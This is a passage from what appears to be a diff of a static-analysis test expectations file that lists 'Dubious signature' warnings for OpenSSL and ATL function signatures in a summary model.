*,int64_t)" in summary model. | +| Dubious signature "(ASN1_ENUMERATED *,long)" in summary model. | +| Dubious signature "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_GENERALIZEDTIME *,const char *)" in summary model. | +| Dubious signature "(ASN1_GENERALIZEDTIME *,time_t)" in summary model. | +| Dubious signature "(ASN1_GENERALIZEDTIME *,time_t,int,long)" in summary model. | +| Dubious signature "(ASN1_GENERALSTRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_IA5STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_INTEGER **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_INTEGER *,int64_t)" in summary model. | +| Dubious signature "(ASN1_INTEGER *,long)" in summary model. | +| Dubious signature "(ASN1_INTEGER *,uint64_t)" in summary model. | +| Dubious signature "(ASN1_INTEGER *,unsigned char **)" in summary model. | +| Dubious signature "(ASN1_NULL *)" in summary model. | +| Dubious signature "(ASN1_NULL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)" in summary model. | +| Dubious signature "(ASN1_OBJECT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_OBJECT *,ASN1_TYPE *)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING **,X509 *)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING **,const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING **,const unsigned char *,int)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING *,X509 *)" in summary model. | +| Dubious signature "(ASN1_OCTET_STRING *,const unsigned char *,int)" in summary model. | +| Dubious signature "(ASN1_PCTX *,unsigned long)" in summary model. | +| Dubious signature "(ASN1_PRINTABLESTRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_SCTX *)" in summary model. | +| Dubious signature "(ASN1_SCTX *,void *)" in summary model. | +| Dubious signature "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_STRING *)" in summary model. | +| Dubious signature "(ASN1_STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_STRING **,const unsigned char *,int,int,int)" in summary model. | +| Dubious signature "(ASN1_STRING **,const unsigned char *,int,int,unsigned long)" in summary model. | +| Dubious signature "(ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long)" in summary model. | +| Dubious signature "(ASN1_STRING *,const ASN1_STRING *)" in summary model. | +| Dubious signature "(ASN1_STRING *,const void *,int)" in summary model. | +| Dubious signature "(ASN1_STRING *,int)" in summary model. | +| Dubious signature "(ASN1_STRING *,unsigned int)" in summary model. | +| Dubious signature "(ASN1_STRING *,void *,int)" in summary model. | +| Dubious signature "(ASN1_T61STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_TIME *)" in summary model. | +| Dubious signature "(ASN1_TIME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)" in summary model. | +| Dubious signature "(ASN1_TIME *,const char *)" in summary model. | +| Dubious signature "(ASN1_TIME *,int,long,time_t *)" in summary model. | +| Dubious signature "(ASN1_TIME *,long)" in summary model. | +| Dubious signature "(ASN1_TIME *,long,time_t *)" in summary model. | +| Dubious signature "(ASN1_TIME *,time_t)" in summary model. | +| Dubious signature "(ASN1_TIME *,time_t,int,long)" in summary model. | +| Dubious signature "(ASN1_TIME *,tm *,int)" in summary model. | +| Dubious signature "(ASN1_TYPE *)" in summary model. | +| Dubious signature "(ASN1_TYPE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_TYPE *,int,const void *)" in summary model. | +| Dubious signature "(ASN1_TYPE *,int,void *)" in summary model. | +| Dubious signature "(ASN1_TYPE *,unsigned char *,int)" in summary model. | +| Dubious signature "(ASN1_UNIVERSALSTRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_UTCTIME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_UTCTIME *,const char *)" in summary model. | +| Dubious signature "(ASN1_UTCTIME *,time_t)" in summary model. | +| Dubious signature "(ASN1_UTCTIME *,time_t,int,long)" in summary model. | +| Dubious signature "(ASN1_UTF8STRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const ASN1_ITEM *,int)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const ASN1_TEMPLATE *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(ASN1_VALUE **,int,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(ASN1_VALUE *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(ASN1_VISIBLESTRING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASRange *)" in summary model. | +| Dubious signature "(ASRange **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ASYNC_JOB *)" in summary model. | +| Dubious signature "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,const void *,int *,void **)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,int *,size_t *)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *)" in summary model. | +| Dubious signature "(ASYNC_WAIT_CTX *,int)" in summary model. | +| Dubious signature "(AUTHORITY_INFO_ACCESS *)" in summary model. | +| Dubious signature "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(AUTHORITY_KEYID *)" in summary model. | +| Dubious signature "(AUTHORITY_KEYID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(BASIC_CONSTRAINTS *)" in summary model. | +| Dubious signature "(BASIC_CONSTRAINTS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM **,const char *)" in summary model. | +| Dubious signature "(BIGNUM *,ASN1_INTEGER *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,const unsigned char **,size_t)" in summary model. | +| Dubious signature "(BIGNUM *,BIGNUM *,int,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,BN_BLINDING *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const BIGNUM *,int)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const int[])" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,int)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,int,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,const unsigned long *,int)" in summary model. | +| Dubious signature "(BIGNUM *,int)" in summary model. | +| Dubious signature "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)" in summary model. | +| Dubious signature "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)" in summary model. | +| Dubious signature "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,int,int,int)" in summary model. | +| Dubious signature "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)" in summary model. | +| Dubious signature "(BIGNUM *,unsigned long)" in summary model. | +| Dubious signature "(BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)" in summary model. | +| Dubious signature "(BIO *)" in summary model. | +| Dubious signature "(BIO *,ASN1_VALUE *,BIO *,int,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(BIO *,ASN1_VALUE *,BIO *,int,const char *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,ASN1_VALUE *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(BIO *,BIO *)" in summary model. | +| Dubious signature "(BIO *,BIO **)" in summary model. | +| Dubious signature "(BIO *,BIO **,PKCS7 **)" in summary model. | +| Dubious signature "(BIO *,BIO **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(BIO *,BIO *,int)" in summary model. | +| Dubious signature "(BIO *,BIO_callback_fn)" in summary model. | +| Dubious signature "(BIO *,BIO_callback_fn_ex)" in summary model. | +| Dubious signature "(BIO *,CMS_ContentInfo *)" in summary model. | +| Dubious signature "(BIO *,CMS_ContentInfo **)" in summary model. | +| Dubious signature "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,CMS_ContentInfo *,BIO *,int)" in summary model. | +| Dubious signature "(BIO *,DH **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,DSA **)" in summary model. | +| Dubious signature "(BIO *,DSA **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,EC_GROUP **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,EC_KEY **)" in summary model. | +| Dubious signature "(BIO *,EC_KEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,EVP_PKEY **)" in summary model. | +| Dubious signature "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,EVP_PKEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,GENERAL_NAMES *,int)" in summary model. | +| Dubious signature "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,NETSCAPE_SPKI *)" in summary model. | +| Dubious signature "(BIO *,OCSP_REQUEST *,unsigned long)" in summary model. | +| Dubious signature "(BIO *,OCSP_RESPONSE *,unsigned long)" in summary model. | +| Dubious signature "(BIO *,OSSL_CMP_MSG **)" in summary model. | +| Dubious signature "(BIO *,PKCS7 *)" in summary model. | +| Dubious signature "(BIO *,PKCS7 **)" in summary model. | +| Dubious signature "(BIO *,PKCS7 **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,PKCS7 *,BIO *,int)" in summary model. | +| Dubious signature "(BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *)" in summary model. | +| Dubious signature "(BIO *,PKCS8_PRIV_KEY_INFO **)" in summary model. | +| Dubious signature "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,PKCS12 **)" in summary model. | +| Dubious signature "(BIO *,RSA **)" in summary model. | +| Dubious signature "(BIO *,RSA **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,SSL_SESSION **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,TS_MSG_IMPRINT **)" in summary model. | +| Dubious signature "(BIO *,TS_REQ *)" in summary model. | +| Dubious signature "(BIO *,TS_REQ **)" in summary model. | +| Dubious signature "(BIO *,TS_RESP *)" in summary model. | +| Dubious signature "(BIO *,TS_RESP **)" in summary model. | +| Dubious signature "(BIO *,TS_TST_INFO *)" in summary model. | +| Dubious signature "(BIO *,TS_TST_INFO **)" in summary model. | +| Dubious signature "(BIO *,X509 *)" in summary model. | +| Dubious signature "(BIO *,X509 **)" in summary model. | +| Dubious signature "(BIO *,X509 **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,X509 *,unsigned long)" in summary model. | +| Dubious signature "(BIO *,X509 *,unsigned long,unsigned long)" in summary model. | +| Dubious signature "(BIO *,X509_ACERT *)" in summary model. | +| Dubious signature "(BIO *,X509_ACERT **)" in summary model. | +| Dubious signature "(BIO *,X509_ACERT **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,X509_ACERT *,unsigned long,unsigned long)" in summary model. | +| Dubious signature "(BIO *,X509_CRL *)" in summary model. | +| Dubious signature "(BIO *,X509_CRL **)" in summary model. | +| Dubious signature "(BIO *,X509_CRL **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,X509_CRL *,unsigned long)" in summary model. | +| Dubious signature "(BIO *,X509_EXTENSION *,unsigned long,int)" in summary model. | +| Dubious signature "(BIO *,X509_PUBKEY **)" in summary model. | +| Dubious signature "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,X509_REQ *)" in summary model. | +| Dubious signature "(BIO *,X509_REQ **)" in summary model. | +| Dubious signature "(BIO *,X509_REQ **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,X509_REQ *,unsigned long,unsigned long)" in summary model. | +| Dubious signature "(BIO *,X509_SIG **)" in summary model. | +| Dubious signature "(BIO *,X509_SIG **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,char *)" in summary model. | +| Dubious signature "(BIO *,char **,char **,unsigned char **,long *)" in summary model. | +| Dubious signature "(BIO *,char **,char **,unsigned char **,long *,unsigned int)" in summary model. | +| Dubious signature "(BIO *,char *,int)" in summary model. | +| Dubious signature "(BIO *,const ASN1_STRING *,unsigned long)" in summary model. | +| Dubious signature "(BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *)" in summary model. | +| Dubious signature "(BIO *,const BIGNUM *,const char *,int,unsigned char *)" in summary model. | +| Dubious signature "(BIO *,const CMS_ContentInfo *)" in summary model. | +| Dubious signature "(BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *)" in summary model. | +| Dubious signature "(BIO *,const DH *)" in summary model. | +| Dubious signature "(BIO *,const DSA *)" in summary model. | +| Dubious signature "(BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const DSA *,int)" in summary model. | +| Dubious signature "(BIO *,const EC_GROUP *)" in summary model. | +| Dubious signature "(BIO *,const EC_KEY *)" in summary model. | +| Dubious signature "(BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,int,ASN1_PCTX *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,const NETSCAPE_CERT_SEQUENCE *)" in summary model. | +| Dubious signature "(BIO *,const PKCS7 *)" in summary model. | +| Dubious signature "(BIO *,const PKCS7 *,int,const ASN1_PCTX *)" in summary model. | +| Dubious signature "(BIO *,const PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(BIO *,const PKCS12 *)" in summary model. | +| Dubious signature "(BIO *,const RSA *)" in summary model. | +| Dubious signature "(BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const RSA *,int)" in summary model. | +| Dubious signature "(BIO *,const SSL_SESSION *)" in summary model. | +| Dubious signature "(BIO *,const X509 *)" in summary model. | +| Dubious signature "(BIO *,const X509_ACERT *)" in summary model. | +| Dubious signature "(BIO *,const X509_CRL *)" in summary model. | +| Dubious signature "(BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const X509_NAME *,int,unsigned long)" in summary model. | +| Dubious signature "(BIO *,const X509_PUBKEY *)" in summary model. | +| Dubious signature "(BIO *,const X509_REQ *)" in summary model. | +| Dubious signature "(BIO *,const X509_SIG *)" in summary model. | +| Dubious signature "(BIO *,const char *,OCSP_REQUEST *)" in summary model. | +| Dubious signature "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)" in summary model. | +| Dubious signature "(BIO *,const char *,const OCSP_REQUEST *,int)" in summary model. | +| Dubious signature "(BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *)" in summary model. | +| Dubious signature "(BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int)" in summary model. | +| Dubious signature "(BIO *,const char *,va_list)" in summary model. | +| Dubious signature "(BIO *,const stack_st_X509_EXTENSION *)" in summary model. | +| Dubious signature "(BIO *,const unsigned char *,long,int)" in summary model. | +| Dubious signature "(BIO *,const unsigned char *,long,int,int)" in summary model. | +| Dubious signature "(BIO *,int *)" in summary model. | +| Dubious signature "(BIO *,int)" in summary model. | +| Dubious signature "(BIO *,int,BIO **,CMS_ContentInfo **)" in summary model. | +| Dubious signature "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,int,const ASN1_TYPE *,int)" in summary model. | +| Dubious signature "(BIO *,int,const char *,int,long,long)" in summary model. | +| Dubious signature "(BIO *,int,const char *,size_t,int,long,int,size_t *)" in summary model. | +| Dubious signature "(BIO *,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,size_t,..(*)(..),void *)" in summary model. | +| Dubious signature "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,void *)" in summary model. | +| Dubious signature "(BIO *,void *,int,int)" in summary model. | +| Dubious signature "(BIO *,void *,size_t,size_t *)" in summary model. | +| Dubious signature "(BIO_ADDR *)" in summary model. | +| Dubious signature "(BIO_ADDR *,const BIO_ADDR *)" in summary model. | +| Dubious signature "(BIO_ADDR *,const sockaddr *)" in summary model. | +| Dubious signature "(BIO_ADDR *,int,const void *,size_t,unsigned short)" in summary model. | +| Dubious signature "(BIO_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(BLAKE2B_CTX *,const BLAKE2B_PARAM *)" in summary model. | +| Dubious signature "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)" in summary model. | +| Dubious signature "(BLAKE2B_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(BLAKE2B_PARAM *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(BLAKE2B_PARAM *,uint8_t)" in summary model. | +| Dubious signature "(BLAKE2S_CTX *,const BLAKE2S_PARAM *)" in summary model. | +| Dubious signature "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)" in summary model. | +| Dubious signature "(BLAKE2S_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(BLAKE2S_PARAM *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(BLAKE2S_PARAM *,uint8_t)" in summary model. | +| Dubious signature "(BN_BLINDING *,BN_CTX *)" in summary model. | +| Dubious signature "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)" in summary model. | +| Dubious signature "(BN_BLINDING *,unsigned long)" in summary model. | +| Dubious signature "(BN_CTX *)" in summary model. | +| Dubious signature "(BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *)" in summary model. | +| Dubious signature "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)" in summary model. | +| Dubious signature "(BN_GENCB *)" in summary model. | +| Dubious signature "(BN_GENCB *,..(*)(..),void *)" in summary model. | +| Dubious signature "(BN_GENCB *,EVP_PKEY_CTX *)" in summary model. | +| Dubious signature "(BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BN_MONT_CTX *,BN_MONT_CTX *)" in summary model. | +| Dubious signature "(BN_MONT_CTX *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)" in summary model. | +| Dubious signature "(BN_RECP_CTX *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BUF_MEM *,size_t)" in summary model. | +| Dubious signature "(CA_DB *,time_t *)" in summary model. | | Dubious signature "(CAtlFile &)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,const unsigned char *,size_t,size_t)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)" in summary model. | | Dubious signature "(CComBSTR &&)" in summary model. | +| Dubious signature "(CERT *)" in summary model. | +| Dubious signature "(CERT *,..(*)(..),void *)" in summary model. | +| Dubious signature "(CERT *,X509 *)" in summary model. | +| Dubious signature "(CERT *,X509_STORE **,int)" in summary model. | +| Dubious signature "(CERT *,const int *,size_t,int)" in summary model. | +| Dubious signature "(CERT *,const uint16_t *,size_t,int)" in summary model. | +| Dubious signature "(CERTIFICATEPOLICIES *)" in summary model. | +| Dubious signature "(CERTIFICATEPOLICIES **,const unsigned char **,long)" in summary model. | +| Dubious signature "(CMAC_CTX *)" in summary model. | +| Dubious signature "(CMAC_CTX *,const CMAC_CTX *)" in summary model. | +| Dubious signature "(CMAC_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *)" in summary model. | +| Dubious signature "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(CMAC_CTX *,unsigned char *,size_t *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *)" in summary model. | +| Dubious signature "(CMS_ContentInfo **,const unsigned char **,long)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,BIO *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,BIO *,BIO *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,EVP_PKEY *,X509 *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,X509 *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,X509 *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,X509_CRL *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO 